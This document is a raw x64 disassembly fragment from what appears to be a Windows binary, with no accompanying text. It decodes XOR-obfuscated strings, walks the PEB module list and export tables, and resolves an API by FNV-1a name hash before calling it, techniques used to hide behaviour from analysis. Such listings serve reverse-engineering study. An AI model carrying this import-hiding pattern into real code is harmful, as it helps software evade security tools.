movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140018b10
cmp r8d, 0x17
jge 0x140018c50
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x140018c20
mov rdx, r10
mov rcx, r11
call fcn.1400019c0
lea rdx, [0x140002c50]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edi, r15d
lea rcx, [0x1400b0800]
call fcn.140026060
lea rcx, [rsp + 0x30]
call fcn.140005490
mov edx, eax
lea rcx, [rbp + 0x30d0]
call fcn.140003520
mov edx, 0x5dc
mov r8d, 0xbb8
lea rcx, [rbp + 0x7b8]
call fcn.140003570
lea rdx, [rbp + 0x30d0]
lea rcx, [rbp + 0x7b8]
call fcn.140001db0
mov ebx, eax
test eax, eax
jle 0x140018d39
mov ecx, 0x384
call fcn.140010dc0
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x30]
call fcn.140005020
movzx ecx, byte [rax + 1]
test cl, cl
je 0x140018cf2
xor byte [rax], 0x32
xor cl, 0x33
mov byte [rax + 1], cl
mov rdx, rax
mov rcx, r8
call fcn.1400019c0
lea rdx, [0x140002c50]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
inc edi
sub ebx, 0x384
cmp edi, 0xa
je 0x140018d1e
test ebx, ebx
jg 0x140018cc2
lea rdx, [0x140002c10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edi, r15d
test ebx, ebx
jg 0x140018cc2
lea rcx, [0x1400b0800]
call fcn.140026060
lea rdx, [rbp + 0x80]
lea rcx, [rsp + 0x30]
call fcn.140005030
mov rsi, rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140018de6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140018de6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140018de1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140018dc0
cmp r8d, 0x491e0a9c
je 0x140018deb
test r9d, r9d
jne 0x140018da0
mov rax, qword [rax]
jmp 0x140018d70
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp byte [rsi + 3], 0
je 0x140018ee0
cmp r12d, 2
jl 0x140018e9b
movdqa xmm3, xmmword [0x1400859c0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140085c60]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140085c60]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, r14d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400859e0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140085ba0]
movd xmm0, dword [rsi]
xorps xmm2, xmm0
movd dword [rsi], xmm2
jmp 0x140018ee0
mov r9, rsi
mov r8d, r15d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140018eb0
mov rcx, rsi
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140018f76
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140018f76
mov rax, qword [rax]
jmp 0x140018f00
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3